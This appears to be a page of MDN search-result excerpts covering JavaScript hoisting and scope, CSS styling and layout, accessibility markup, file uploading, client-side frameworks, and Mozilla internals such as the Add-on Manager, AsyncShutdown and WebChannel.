...connecting the boards and using them may look like this: var cylon = require('cylon'); cylon.robot({ connections: { arduino: { adaptor: 'firmata', port: '/dev/ttyacm0' } }, devices: { makey: { driver: 'makey-button', pin: 2 } }, work: function(my) { my.makey.on('push', function() { console.log("button pushed!"); }); } }).start(); as the description says: this gpio driver allows you to connect a 10 mohm resistor to a digital pin on your arduino or raspberry pi to control your robots with bananas, clay, or drawable circuitry.
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
for example: function catname(name) { console.log("my cat's name is " + name); } catname("tiger"); /* the result of the code above is: "my cat's name is tiger" */ the above code snippet is how you would expect to write the code for it to work.
... now, let's see what happens when we call the function before we write it: catname("chloe"); function catname(name) { console.log("my cat's name is " + name); } /* the result of the code above is: "my cat's name is chloe" */ even though we call the function in our code first, before the function is written, the code still works.
...console.log(x + " " + y); // '1 undefined' // this prints value of y as undefined as javascript only hoists declarations var y = 2; // declare and initialize y // example 2 // no hoisting, but since initialization also causes declaration (if not already declared), variables are available.
... a = 'cran'; // initialize a b = 'berry'; // initialize b console.log(a + "" + b); // 'cranberry' technical reference var statement — mdn function statement — mdn ...
Scope - MDN Web Docs Glossary: Definitions of Web-related terms
the context in which values and expressions are "visible" or can be referenced.
... if a variable or other expression is not "in the current scope," then it is unavailable for use.
...for instance, the following is invalid: function examplefunction() { var x = "declared inside function"; // x can only be used in examplefunction console.log("inside function"); console.log(x); } console.log(x); // causes error however, the following code is valid due to the variable being declared outside the function, making it global: var x = "declared outside function"; examplefunction(); function examplefunction() { console.log("inside function"); ...
... console.log(x); } console.log("outside function"); console.log(x); learn more general knowledge scope (computer science) on wikipedia ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
in programming, semantics refers to the meaning of a piece of code — for example "what effect does running that line of javascript have?", or "what purpose or role does that html element have" (rather than "what does it look like?".) semantics in javascript in javascript, consider a function that takes a string parameter, and returns an <li> element with that string as its textcontent.
... semantics in html in html, for example, the <h1> element is a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, most browser's user agent stylesheet will style an <h1> with a large font size to make it look like a heading (although you could style it to look like anything you wanted).
...consider the following: <span style="font-size: 32px; margin: 21px 0;">is this a top level heading?</span> this will render it to look like a top level heading, but it has no semantic value, so it will not get any extra benefits as described above.
... can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be populated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "what element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
Advanced styling effects - Learn web development
first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following...
... multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3p...
...first, background-blend-mode — here we'll show a couple of simple <div>s, so you can compare the original with the blended version: <div> </div> <div class="multiply"> </div> now some css — we are adding to the <div> one background image and a green background color: div { width: 250px; height: 130px; padding: 10px; margin: 10px; display: inline-block; background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } .multiply { background-blend-mode: multiply; } the re...
...here we'll present the same two <div>s, but each one is now sat on top of a simple <div> with a purple background, to show how the elements will blend together: <article> no mix blend mode <div> </div> <div> </div> </article> <article> multiply mix <div class="multiply-mix"> </div> <div> </div> </article> here's the css we'll style this with: article { width: 280px; height: 180px; margin: 10px; position: relative; display: inline-block; } div { width: 250px; height: 130px; padding: 10px; margin: 10px; } article div:first-child { position: absolute; top: 10px; left: 0; background: url(https://mdn.mozillademos.org/file...
CSS values and units - Learn web development
ch the advance measure (width) of the glyph "0" of the element's font.
... to recap, the em unit means "my parent element's font-size" in the case of typography.
... to recap, the rem unit means "the root element's font-size".
... (rem stands for "root em".) the <li> elements inside the <ul> with a class of rems take their sizing from the root element (<html>).
Flexbox - Learn web development
try updating your existing article rules like so: article { flex: 1 200px; } article:nth-of-type(3) { flex: 2 200px; } this basically states "each flex item will first be given 200px of the available space.
... after that, the rest of the available space will be shared out according to the proportion units." try refreshing and you'll see a difference in how the space is shared out.
... the code for this is simple: try adding the following css to your button bar example code: button:first-child { order: 1; } refresh, and you'll now see that the "smile" button has moved to the end of the main axis.
...for example, you could make the "blush" button appear at the start of the main axis using the following rule: button:last-child { order: -1; } nested flex boxes it is possible to create some pretty complex layouts with flexbox.
Supporting older browsers - Learn web development
support doesn't mean "looks the same" a website can’t possibly look the same in all browsers, because some of your users will be viewing the site on a phone and others on a large desktop screen.
... * {box-sizing: border-box;} .wrapper { background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> note: the clear property also has no effect once the cleared item becomes a grid item, so you could have a layout with a cleared footer, which is then turned into a grid layout.
... * {box-sizing: border-box;} .wrapper { background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; width: 33.333%; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> to deal with this issue we need to have a way to detect if grid is supported and therefore if it will override the width.
... * {box-sizing: border-box;} .wrapper { background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; width: 33.333%; } @supports (display: grid) { .item { width: auto; } } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> support for feature queries is very good across modern browsers, however, you should note that it is the browsers that do not support css grid, which also doesn’t support feature queries.
What is CSS? - Learn web development
for example "i want the main heading on my page to be shown as large red text." the following code shows a very simple css rule that would achieve the styling described above: h1 { color: red; font-size: 5em; } the rule opens with a selector .
...alternatively, you should get used to searching for "mdn css-feature-name" in your favourite search engine whenever you need to find out more information about a css feature.
... for example, try searching for "mdn color" and "mdn font-size"!
... css specifications all web standards technologies (html, css, javascript, etc.) are defined in giant documents called specifications (or simply "specs"), which are published by standards organizations (such as the w3c, whatwg, ecma, or khronos) and define precisely how those technologies are supposed to behave.
How do you make sure your website works properly? - Learn web development
open firefox's network tool (tools ➤ web developer ➤ network) and reload the page: there's the problem, that "404" at the bottom.
... "404" means "resource not found", and that's why we didn't see the image.
...you won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes.
...but the network tool reported a "404".
What HTML features promote accessibility? - Learn web development
<ul> <li><a href="here.html" tabindex="1">here</a></li> <li><a href="there.html" tabindex="3">there</a></li> <li><a href="anywhere.html" tabindex="2">anywhere</a></li> </ul> in this example (which is used purely as a demonstration—do not do this), tabbing would jump from “here” to “anywhere” to “there”.
...<a href="inept.html" title="why i'm rubbish at writing link text: an explanation and an apology.">click here</a> to find out more.</p> access keys access keys provide easier navigation by assigning a keyboard shortcut to a link, which will usually gain focus when the user presses alt or ctrl + the access key.
... <a href="somepage.html" accesskey="s">some page</a> skip links to aid tabbing, you can supply links that allow users to jump over chunks of your web page.
... <header> <h1>the heading</h1> <a href="#content">skip to content</a> </header> <nav> <!-- navigation stuff --> </nav> <section id="content"> <!--your content --> </section> ...
How do you upload your files to a web server? - Learn web development
open the filezilla application; you should see something like this: logging in for this example, we'll suppose that our hosting provider (the service that will host our http web server) is a fictitious company "example hosting provider" whose urls look like this: mypersonalwebsite.examplehostingprovider.net.
... uploading to the server our example host instructions told us "to publish on the web, put your files into the public/htdocs directory." you need to navigate to the specified directory in your right pane.
...you can see the full list at the rsync man page (search for "options summary").
...for example: rsync [-options] -e "ssh [ssh details go here]" source user@x.x.x.x:destination you can find more details of what is needed at how to copy files with rsync over ssh.
Example 2 - Learn web development
js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> <form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /*...
...gba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : ""; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; mar...
...r-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div cl...
...ass="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> <form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } result for no js ...
Test your skills: Form validation - Learn web development
change the type of the "email address" and "phone number" fields to make the browser apply some more specific validation suitable for the data being asked for.
... give the "user name" field a required length of between 5 and 20 characters, the "phone number" field a maximum length of 15 characters, and the "comment" field a maximum length of 200 characters.
... all of the email addresses for our users consist of one or more letters (lower or upper case) or numbers, followed by "@bigcorp.eu".
...your post should include: a descriptive title such as "assessment wanted for form validation 1 skill test".
Dealing with files - Learn web development
some servers will replace the areas in your filenames with "%20" (the character code for spaces in uris), resulting in all your links being broken.
...to demonstrate this, we will insert a little bit of html into our index.html file, and make it display the image you chose in the article "what will your website look like?" copy the image you chose earlier into your images folder.
... <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <img src="" alt="my test image"> </body> </html> the line <img src="" alt="my test image"> is the html code that inserts an image into the page.
... insert the file path into your html code between the double quote marks of the src="" code.
How the Web works - Learn web development
if the server approves the client's request, the server sends the client a "200 ok" message, which means "of course you can look at that website!
... here it is", and then starts sending the website's files to the browser as a series of small chunks called data packets (the shop gives you your goods, and you bring them back to your house).
...these are special servers that match up a web address you type into your browser (like "mozilla.org") to the website's real (ip) address.
... packets explained earlier we used the term "packets" to describe the format in which the data is sent from server to client.
Tips for authoring fast-loading HTML pages - Learn web development
other tools can "compress" javascript by reformatting the source or by obfuscating the source and replacing long identifiers with shorter versions.
... use modern css and valid markup use of modern css reduces the amount of markup, can reduce the need for (spacer) images, in terms of layout, and can very often replace images of stylized text -- that "cost" much more than the equivalent text-and-css.
...first, browsers will have no need to perform error-correction when parsing the html (this is aside from the philosophical issue of whether to allow format variation in user input and then programmatically "correct" or normalize it; or whether, instead, to enforce a strict, no-tolerance input format).
... <img href="./images/footerlogo.jpg" loading="lazy"> note that lazily-loaded images may not be available when the load event is fired.
General asynchronous programming concepts - Learn web development
mac users, for example, sometimes experience this as the spinning rainbow-colored cursor (or "beachball" as it is often called).
... this cursor is how the operating system says "the current program you're using has had to stop and wait for something to finish up, and it's taking so long that i was worried you'd wonder what was going on." this is a frustrating experience and isn't a good use of computer processing power — especially in an era in which computers have multiple processor cores available.
...in this example, we have two buttons: a "fill canvas" button that when clicked fills the available <canvas> with 1 million blue circles.
... a "click me for alert" button that when clicked shows an alert message.
Manipulating documents - Learn web development
this is a "tree structure" representation created by the browser that enables the html structure to be easily accessed by programming languages — for example the browser itself uses it to apply styling and other information to the correct elements as it renders a page, and developers like you can manipulate the dom with javascript after the page has been rendered.
...the html source code looks like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> the dom on the other hand looks like this: note: this dom tree ...
...<p id="myid">my paragraph</p>.
...if you look at that paragraph in your browser's page inspector/dom inspector, you'll see that these lines are indeed adding inline styles to the document: <p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">we hope you enjoyed the ride.</p> note: notice how the javascript property versions of the css styles are written in lower camel case whereas the css versions are hyphenated (e.g.
JavaScript First Steps - Learn web development
in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
...in this first article we will look at javascript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with javascript's purpose.
...here you'll build up a simple "guess the number" game, step by step.
...troubleshooting javascript when you built up the "guess the number" game in the previous article, you may have found that it didn't work.
Inheritance in JavaScript - Learn web development
previous overview: objects next with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes.
... to assign a new value to the _subject property we can use the snape.subject="new value" setter method.
... the example below shows the two features in action: // check the default value console.log(snape.subject) // returns "dark arts" // change the value snape.subject = "balloon animals" // sets _subject to "balloon animals" // check it again and see if it matches the new value console.log(snape.subject) // returns "balloon animals" note: you can find this example on github as es2015-getters-setters.html (see it live also).
... particularly after this last article, you might be thinking "woo, this is complicated".
Server-side website programming first steps - Learn web development
in this module we answer a few fundamental questions about server-side programming — "what is it?", "how does it differ from client-side programming?", and "why is it so useful?".
...in this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
... client-server overview now that you know the purpose and potential benefits of server-side programming, we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
... assessments this "first steps" module doesn't have any assessment because we haven't yet shown you any code.
Getting started with Ember - Learn web development
increasing cohesion among many team's technology stacks community-backed "best practices" allow for faster long-term development speed.
... this language also enables lighter asset payloads due to compiling the templates into a "byte code" that can be parsed faster than javascript.
...this is where most of the "framework" parts come into play, as there are superclasses, where each type of thing has a different purpose and different expected location within your project.
...(good suggestions are your "desktop" or "documents" directories, so that it is easy to find): ember new todomvc or, on windows: npx ember-cli new todomvc this generates a production-ready application development environment that includes the following features by default: development server with live reload.
Introduction to client-side frameworks - Learn web development
there are many frameworks out there, but currently the "big four" are considered to be the following.
... by contrast, the following block of code illustrates the way you might use vue to describe our list of tasks: <ul> <li v-for="task in tasks" v-bind:key="task.id"> <span>{{task.name}}</span> <button type="button">delete</button> </li> </ul> that's it.
... framework browser support preferred dsl supported dsls angular ie9+ typescript html-based; typescript react modern (ie9+ with polyfills) jsx jsx; typescript vue ie9+ html-based html-based, jsx, pug ember modern (ie9+ in ember version 2.18) handlebars handlebars, typescript note: dsls we've described as "html-based" do not have official names.
... note: some ssr solutions are written and maintained by the community, whereas some are "official" solutions provided by the framework's maintainer.
Understanding client-side JavaScript frameworks - Learn web development
how do they relate to "vanilla" javascript or html?
... get started now, with "introduction to client-side frameworks" prerequisites you should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks — html, css, and especially javascript.
...we'll also wire up our "clear completed" button.
...we'll use it to provide a unique url for each of the three todo views — "all", "active", and "completed".
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
...to start with, when we talk about sites "working cross browser", we are really saying that they should provide an acceptable user experience across different browsers.
... second, when we say "across an acceptable number of web browsers", we don't mean 100% of the browsers in the world — this is just about impossible.
...sometimes this is inevitable due to device constraints — a cinema widescreen isn't going to give the same visual experience as a 4" mobile screen, regardless of how you program your site.
Creating JavaScript callbacks in components
here is an example of how to use the callback system: var wordhandler = { onword : function(word) { alert(word); } }; var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(wordhandler); stringparser.parse("pay no attention to the man behind the curtain"); you can find examples of this pattern all over the mozilla codebase.
...erface and is defined as such: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely common to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); revealing the magic how is this possible?
...the nsidomeventlistener interface is "marked" with the function attribute.
...now we can create a callback javascript function to handle the onword event: function handleword(word) { alert(word); } var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(handleword); stringparser.parse("pay no attention to the man behind the curtain"); yes, you can still use the normal interface-based callback implementation too.
Debugging a hang on OS X (Archived)
below are steps you can use to attach so-called "samples" to bug reports.
... when it's done parsing the data, click the "show text report" button; a new window will open with a couple of rows with stacktraces for all the threads in the sampled application.
... select "firefox-bin" or the hung application you want a sample from.
... now, click "start recording".
ESLint
more information: outline details of the rules rule source code common issues and how to solve them my editor says that "mozilla/whatever" is unknown run ./mach eslint --setup restart your editor if that doesn't work, check that you have your editor pointing to the correct node_modules folder.
... node.js is not recognized add it to your path environment variable by running path="$path:/path/to/node.js/".
... for example: in windows 10, if you have installed node.js on "c:\nodejs", then the command should look like: export path=$path:/c/nodejs enabling eslint for a new directory remove the directory from .eslintignore (in the base directory of the repository) fix errors that occur when running ./mach eslint path/to/dir, see also the no-undef rules below.
... ensure there is a .eslintrc.js file that extends one of: "plugin:mozilla/browser-test" "plugin:mozilla/chrome-test" "plugin:mozilla/mochitest-test" "plugin:mozilla/xpcshell-test" see other test directories for how to do this.
Inner and outer windows
in order to represent these levels of complexity, two "types" of window need to be considered.
...they get displayed in the outer window, which is contained in the "physical" browser window.
...if the document currently being displayed asks "what window am i in?", it gets the outer window as the answer.
... that lets the document interact with the "physical" window, while the outer window can keep track of all the documents (inner windows) it contains.
Reviewer Checklist
commonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and review".
... [fennec: all view methods should be touched only on ui thread.] [fennec: activity lifecycle awareness (works with "never keep activities").
... [fennec: "prefs" can be gecko prefs, sharedpreferences values, or build-time flags.
...similarly, a button that is not a native html button should have role="button" and the aria-label attribute set.
Experimental features in Firefox
nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering.
... read preloading content with rel="preload" for more details.
... nightly 30 no developer edition 30 no beta 30 no release 30 no preference name canvas.hitregions.enabled webgl: draft extensions when this preference is enabled, any webgl extensions currently in "draft" status which are being tested are enabled for use.
... nightly 59 no developer edition 59 no beta 59 no release 59 no preference name security.mixed_content.block_object_subrequest insecure page labeling these two preferences add a "not secure" text label in the address bar next to the traditional lock icon when a page is loaded insecurely (that is, using http rather than https).
Tracking Protection
when firefox blocks content, it logs a message to the web console like this: the resource at "http://some/url" was blocked because tracking protection is enabled.
... if tracking cookies were present, you would be able to view the list by clicking on "blocking tracking cookies" in the above image to view the following popup: you can click "manage content blocking" to change the blocking settings: how does firefox choose what to block?
... for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </script> instead, you should account for the case when google a...
...nalytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } else { document.location = url; } } </script> more information about this technique is available at google analytics, privacy, and event tracking.
mozbrowsericonchange
<link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content.
..."16x16" or "16x16 32x32".
... the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsericonchange", function( event ) { console.log("the url of the new favicon is:" + event.details.href); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Embedding Tips
at startup use the category manager to register properties of the global object in javascript like this: nscomptr<nsicategorymanager> catman = do_getservice(ns_categorymanager_contractid); if (!catman) return ns_error_failure; nsxpidlcstring previous; catman->addcategoryentry(javascript_global_property_category, "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(previous)); this will cause a component with the contract id my_prop_contract_id to be lazily created when the my_prop_name is resolved in any javascript window scope.
... if you want to create your component multiple times within the browser window, you can use a javascript constructor instead of a javascript property: catman->addcategoryentry("javascript global constructor", "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(previous)); that way you will be able to do: var my_comp = new my_prop_name(); this was taken from weirdal's excellent "burning chrome" article.
...you can override this default using the "general.useragent.override" preference.
... nscomptr<nsicommandmanager> commandmanager = do_getinterface(iwebbrowser); if (commandmanager) { nscomptr<nsidomwindow> thedomwindow = do_getinterface(iwebbrowser); nscomptr<nsicommandparams> cmdparamsobj = do_createinstance(ns_command_params_contractid,&rv); cmdparamsobj->setisupportsvalue("addhook", reinterpret_cast<nsisupports*>(ichromeimplementation)); commandmanager->docommand("cmd_clipboarddragdrophook", cmdparamsobj, thedomwindow); } ...
Script security
expanded principal an expanded principal is specified as an array of origins: ["http://mozilla.org", "http://moz.org"] the expanded principal subsumes every content principal it contains.
... thus ["http://moz.org"] subsumes "http://moz.org" but not vice versa.
...(this is what is used when html5 and other specs say "origin is a globally unique identifier".) principal relationships the diagram below summarizes the relationships between the different principals.
... the arrow connecting principals a and b means "a subsumes b".
Getting from Content to Layout
changes to a document originate in the content tree (from dom modification by scripting, insertion of elements from the parser, etc.) and are propogated to the layout tree through magic that primarily resides in //github.com/realityripple/uxp/blob/master/layout/base/nscssframeconstructor.cpp the frame constructor implements nsimutationobserver which allows it to "watch" the content tree.
... the frame constructor takes these notifications and does the following: dispatches "restyle events" which trigger the reprocessing of relevant css selectors and any restyling that needs to occur.
... "frame construction items" are queued for each change.
... to give a trivial example of when this might be necessary, consider: "<span>foo <div></div> bar</span>".
Code Samples
components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("yourextensionid", function(addon) { var addonlocation = addon.getresourceuri("").queryinterface(components.interfaces.nsifileurl).file.path; }); accessing file and version information components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("my-addon@foo.com", function(addon) { alert("my extension's version is " + addon.version); alert("did i remember to include that file.txt file in my xpi?
... " + addon.hasresource("file.txt") ?
... "yes!" : "no"); alert("let's pretend i did, it's available from the url " + addon.getresourceuri("file.txt").spec); }); uninstall an add-on components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("youraddon@youraddon.com", function(addon) { addon.uninstall(); }); disable an add-on components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("youraddon@youraddon.com", function(addon) { if (addon.isactive) addon.userdisabled = addon.isactive; }); listening for add-on uninstall this example sets a variable beinguninstalled that you can check when you get a profile-before-change message to do cleanup for your add-on on uninstall.
... var beinguninstalled; let listener = { onuninstalling: function(addon) { if (addon.id == "youraddon@youraddon.com") { beinguninstalled = true; } }, onoperationcancelled: function(addon) { if (addon.id == "youraddon@youraddon.com") { beinguninstalled = (addon.pendingoperations & addonmanager.pending_uninstall) != 0; } } } try { components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.addaddonlistener(listener); } catch (ex) {} ...
Add-on Manager
for example: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getalladdons(function(aaddons) { // here aaddons is an array of addon objects }); // this code will execute before the code inside the callback notifications about changes to installed add-ons are dispatched to any registered addonlisteners.
...these will pass an addoninstall instance to the callback, which can then be used to install the add-on: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getinstallforurl("http://www.foo.com/test.xpi", function(ainstall) { // ainstall is an instance of addoninstall ainstall.install(); }, "application/x-xpinstall"); the progress of addoninstalls can be monitored using an installlistener.
... for example, to take a look at the add-ons that were disabled at startup: components.utils.import("resource://gre/modules/addonmanager.jsm"); let addonids = addonmanager.getstartupchanges(addonmanager.startup_change_disabled); if (addonids.length > 0) { // addonids is now an array of the add-on ids that have been disabled alert("note: " + addonids.length + " add-ons have been disabled."); } open add-on manager tab the add-on manager tab can be opened programatically with the function brow...
...seropenaddonsmgr which is available on chrome window of "navigator:browser" type.
AsyncShutdown.jsm
asyncshutdown.profilebeforechange.addblocker( "add-on manager: shutting down", function condition() { let promise = ...
...please make sure that the name respects the following model: "some service: some action in progress" - for instance "os.file: flushing all pending i/o".
... examples asyncshutdown.profilebeforechange.addblocker("module: just a promise", promise); // profilebeforechange will not complete until // promise is resolved or rejected asyncshutdown.profilebeforechange.addblocker("module: a callback", function condition() { // ...
... // execute this code during profilebeforechange return promise; // profilebeforechange will not complete until promise // is resolved or rejected }); asyncshutdown.profilebeforechange.addblocker("module: trivial callback", function condition() { // ...
Promise
if you see the message "a promise chain failed to handle a rejection", there is likely something to be fixed in the code.
... // ###### wrong: silently drops any rejection notified by "os.file.exists".
... os.file.exists(path).then(exists => { if (exists) myread(path); }); // ###### wrong: silently drops any exception raised by "myread".
... os.file.exists(path).then(exists => { if (exists) myread(path); }, components.utils.reporterror); // correct (for example, might report the exception "myread is not defined") os.file.exists(path).then(exists => { if (exists) myread(path); }) .catch(components.utils.reporterror); // correct (the function returns a promise, and the caller will handle the rejection) function myreadifexists(path) { return os.file.exists(path).then(exists => { if (exists) myread(path); }); } ...
WebChannel.jsm
components.utils.import("resource://gre/modules/webchannel.jsm"); constructor webchannel(string webchannelid, nsiuri originorpermission); 2nd argument is a valid origin that should be part of requests for this channel.
... parameters none send() sends messages over the webchannel id using the "webchannelmessagetocontent" event.
... examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatchevent(new window.cus...
...tomevent("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
openLocationLastURL.jsm
(bug 953124) the openlocationlasturl.jsm javascript code module lets you set and retrieve the url most recently opened using the "open location" option in the file menu.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlasturl.jsm"); once you've imported the module, you can then use the openlocationlasturl object it exports.
... this object lets you fetch and change the url that is placed in the "open location" dialog box when it opens.
...using the openlocationlasturl object to get or set the value of the open location edit box, simply read the value of, or set the value of, the openlocationlasturl.value field: var url = openlocationlasturl.value; openlocationlasturl.value = "http://www.mozilla.org/"; to reset the value of the edit box to the default (which is an empty string), you can call the reset() method: method overview reset() methods reset the reset() method resets the saved url to the default, which is an empty string.
Mozilla Framework Based on Templates (MFBT)
the mozilla framework based on templates ("mfbt") is the central repository for macros, functions, and data structures used throughout mozilla code, including in the javascript engine.
... its code resides in the mfbt/ source directory, but headers within it should be included using paths like "mozilla/standardinteger.h".
...this header also provides a useful "hook" for embeddings that must customize the types underlying the fixed-size integer types.) types.h includes standardinteger.h and further provides size_t.
... threadlocal.h implements thread-local storage, aka "tls", also called thread-specific storage.
Fonts for Mozilla 2.0's MathML engine
alternatively, follow dafont's "how to install a font".
...the license allows you to "use this font as permitted by the eula for the product in which this font is included to display and print content", so consulting your lawyer is recommended if considering installing this on systems without the associated product.
... reset old preferences if users have previously changed the "font.mathfont-family" preference for a previous version of mozilla, then it is best to reset this to the default value.
... to do this, enter the url "about:config", "filter" for "mathfont", and "reset" to the default value through the context menu on the preference.
MathML In Action
mathml in mozilla aims at complying with the mathml specification so that what you see is what you markup, or to put it another way what you see is what you made, or in short "wysiwym".
